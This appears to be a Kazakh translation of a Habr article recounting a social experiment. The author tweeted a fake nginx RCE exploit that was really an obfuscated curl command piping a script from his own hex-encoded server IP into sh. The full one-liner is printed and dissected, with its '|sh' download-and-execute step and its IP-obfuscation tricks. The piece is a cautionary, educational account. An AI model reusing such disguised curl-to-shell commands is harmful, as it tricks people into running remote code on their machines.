Жалған nginx эксплойтімен әлеуметтік эксперименттің сәттілігі

Ескерту. аударма: автор 1 маусымда жарияланған түпнұсқа жазба ақпараттық қауіпсіздікке қызығушылық танытқандар арасында эксперимент жүргізуге шешім қабылдады. Ол үшін ол веб-сервердегі ашылмаған осалдыққа жалған эксплойт дайындап, оны Twitter-де жариялады. Оның болжамдары - кодтағы айқын алдауды көретін мамандардың бірден әшкереленуі - тек орындалмады... Олар барлық күткеннен асып түсті, ал керісінше: твиттер көптеген адамдардан үлкен қолдауға ие болды. оның мазмұнын тексеріңіз.

Жалған nginx эксплойтімен әлеуметтік эксперименттің сәттілігі

TL;DR: Ешбір жағдайда sh немесе bash ішінде файлдық құбырды пайдаланбаңыз. Бұл компьютерді басқаруды жоғалтудың тамаша тәсілі.

Мен сіздермен 31 мамырда жасалған күлкілі PoC эксплойті туралы қысқаша әңгімемен бөліскім келеді. Ол жаңалықтарға жауап ретінде дереу пайда болды Алиса Есаге Шевченко, мүше Нөлдік күн бастамасы (ZDI), бұл RCE (қашықтан кодты орындау) әкелетін NGINX осалдығы туралы ақпарат жақын арада ашылады. NGINX көптеген веб-сайттарды қуаттайтындықтан, жаңалықтар бомба болған болуы керек. Бірақ «жауапты ашу» процесінің кешігуіне байланысты болған оқиғаның егжей-тегжейлері белгісіз болды - бұл стандартты ZDI процедурасы.

Жалған nginx эксплойтімен әлеуметтік эксперименттің сәттілігі
Tweet NGINX жүйесіндегі осалдықты ашу туралы

Curl-де жаңа шатастыру техникасымен жұмыс істеуді аяқтағаннан кейін, мен бастапқы твиттерден дәйексөз келтірдім және анықталған осалдықты пайдаланатын кодтың бір жолынан тұратын «жұмыс істейтін PoC-ны ағыздым». Әрине, бұл мүлдем бос сөз болды. Мен бірден ашылады деп ойладым және ең жақсы жағдайда бірнеше ретвит аламын (о, жақсы).

Жалған nginx эксплойтімен әлеуметтік эксперименттің сәттілігі
Tweet жалған эксплуатациямен

Алайда одан әрі не болғанын елестете алмадым. Менің твиттерімнің танымалдығы күрт өсті. Бір қызығы, қазіргі уақытта (Мәскеу уақытымен 15 маусым 00:1) бұл жалған екенін аз адамдар түсінді. Көптеген адамдар оны мүлде тексермей-ақ ретвит жасайды (ол шығаратын тамаша ASCII графикасына таңдануды былай қойғанда).

Жалған nginx эксплойтімен әлеуметтік эксперименттің сәттілігі
Қараңызшы, ол қаншалықты әдемі!

Барлық осы ілмектер мен түстер керемет болғанымен, адамдар оларды көру үшін өз машиналарында кодты іске қосуы керек екені анық. Бақытымызға орай, браузерлер дәл осылай жұмыс істейді және мен заңды қиындықтарға тап болғым келмейтіндігімен қоса, менің сайтымда көмілген код ешқандай қосымша кодты орнатуға немесе орындауға әрекет жасамай-ақ жаңғырық қоңырауларын жасады.

Шағын ауытқу: нетворки, dnz, мен және команданың басқа жігіттері Thugcrowd Біраз уақыттан бері біз curl пәрмендерін жасырудың әртүрлі тәсілдерін қолданып жүрміз, өйткені бұл өте жақсы... және біз гейктерміз. netspooky және dnz маған өте перспективалы болып көрінетін бірнеше жаңа әдістерді ашты. Мен көңілді қосылдым және айлалар қаптамасына IP ондық түрлендіруді қосуға тырыстым. IP он алтылық форматқа да түрлендіруге болатыны белгілі болды. Сонымен қатар, curl және басқа NIX құралдарының көпшілігі он алтылық IP мекенжайларын қуана жейді! Сондықтан бұл сенімді және қауіпсіз көрінетін пәрмен жолын құру мәселесі болды. Ақырында мен мынаны шештім:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Әлеуметтік-электрондық инженерия (SEE) – тек фишингтен көп

Қауіпсіздік пен танысу осы эксперименттің негізгі бөлігі болды. Менің ойымша, олар оның табысқа жетуіне себеп болды. Пәрмен жолы «127.0.0.1» (белгілі жергілікті хост) сілтеме арқылы қауіпсіздікті анық білдіреді. Localhost қауіпсіз болып саналады және ондағы деректер ешқашан компьютерден шықпайды.

Танысу эксперименттің екінші негізгі SEE компоненті болды. Мақсатты аудитория негізінен компьютерлік қауіпсіздік негіздерімен таныс адамдардан тұратындықтан, оның бөліктері таныс және таныс (демек, қауіпсіз) болып көрінуі үшін кодты жасау маңызды болды. Ескі эксплуат концепцияларының элементтерін алу және оларды әдеттен тыс түрде біріктіру өте сәтті болды.

Төменде бір лайнердің егжей-тегжейлі талдауы берілген. Бұл тізімдегі барлық киім киеді косметикалық табиғат, және оның нақты жұмыс істеуі үшін іс жүзінде ештеңе талап етілмейді.

Қандай компоненттер шынымен қажет? Бұл -gsS, -O 0x0238f06a, |sh және веб-сервердің өзі. Веб-серверде ешқандай зиянды нұсқаулар жоқ, тек командалар арқылы ASCII графикасына қызмет етті echo қамтылған сценарийде index.html. Пайдаланушы жолды енгізген кезде |sh ортасында, index.html жүктелді және орындалды. Бақытымызға орай, веб-серверді сақтаушылардың жаман ниеті болған жоқ.

  • ../../../%00 — каталог шегінен шығуды білдіреді;
  • ngx_stream_module.so — кездейсоқ NGINX модуліне жол;
  • /bin/sh%00<'protocol:TCP' - біз іске қосамыз /bin/sh мақсатты машинада және шығысты TCP арнасына қайта бағыттаңыз;
  • -O 0x0238f06a#PLToffset - толықтырылған құпия ингредиент #PLToffset, қандай да бір түрде PLT құрамында қамтылған жад офсетіндей көріну үшін;
  • |sh; - тағы бір маңызды фрагмент. мекенжайында орналасқан шабуылдаушы веб-серверден келетін кодты орындау үшін шығысты sh/bash түріне қайта бағыттау керек болды. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat сілтеме жасайтын манекен /dev/tcp/localhostбәрі қайтадан қауіпсіз болып көрінуі үшін. Шын мәнінде, ол ештеңе жасамайды және сұлулық үшін қатарға кіреді.

Осымен бір жолдық сценарийді декодтау және «әлеуметтік-электрондық инженерия» (күрделі фишинг) аспектілерін талқылау аяқталады.

Веб-серверді конфигурациялау және қарсы шаралар

Менің жазылушыларымның басым көпшілігі infosec/хакерлер болғандықтан, мен жігіттердің бірдеңе істеуі үшін (және бұл қызықты болар еді) веб-серверді олардың тарапынан «қызығушылық» білдірулеріне төзімдірек етуді шештім. орнату). Тәжірибе әлі жалғасып жатқандықтан, мен бұл жерде барлық тұзақтарды тізімдемеймін, бірақ мұнда сервер жасайтын бірнеше нәрсе бар:

  • Белгілі бір әлеуметтік желілерде тарату әрекеттерін белсенді түрде бақылайды және пайдаланушыны сілтемені басуға ынталандыру үшін әртүрлі алдын ала қарау нобайларын ауыстырады.
  • Қабық сценарийін көрсетудің орнына Chrome/Mozilla/Safari/etc қолданбасын Thugcrowd жарнамалық бейнесіне қайта бағыттайды.
  • Кірістің/айқын бұзудың АНЫҚ белгілерін бақылайды, содан кейін сұрауларды NSA серверлеріне қайта бағыттай бастайды (га!).
  • Пайдаланушылары хостқа кәдімгі браузерден кіретін барлық компьютерлерде троянды, сондай-ақ BIOS руткиттерін орнатады (жай қалжыңдаймын!).

Жалған nginx эксплойтімен әлеуметтік эксперименттің сәттілігі
Антимерлердің кішкене бөлігі

Бұл жағдайда менің жалғыз мақсатым Apache бағдарламасының кейбір мүмкіндіктерін, атап айтқанда, сұрауларды қайта бағыттаудың керемет ережелерін меңгеру болды және мен ойладым: неге жоқ?

NGINX Exploit (нақты!)

жазылу @alisaesage Twitter-де және NGINX жүйесіндегі өте нақты осалдықтарды және пайдалану мүмкіндіктерін шешудегі ZDI-ның тамаша жұмысын бақылаңыз. Олардың жұмысы мені әрқашан таң қалдырды және мен Алисаға менің ақымақ твиттерім тудырған барлық ескертулер мен ескертулерге шыдамдылық танытқаны үшін алғыс айтамын. Бақытымызға орай, ол біраз жақсылық жасады: ол NGINX осалдықтары туралы хабардарлықты арттыруға көмектесті, сондай-ақ curl теріс пайдаланудан туындаған мәселелер.

Ақпарат көзі: www.habr.com

пікір қалдыру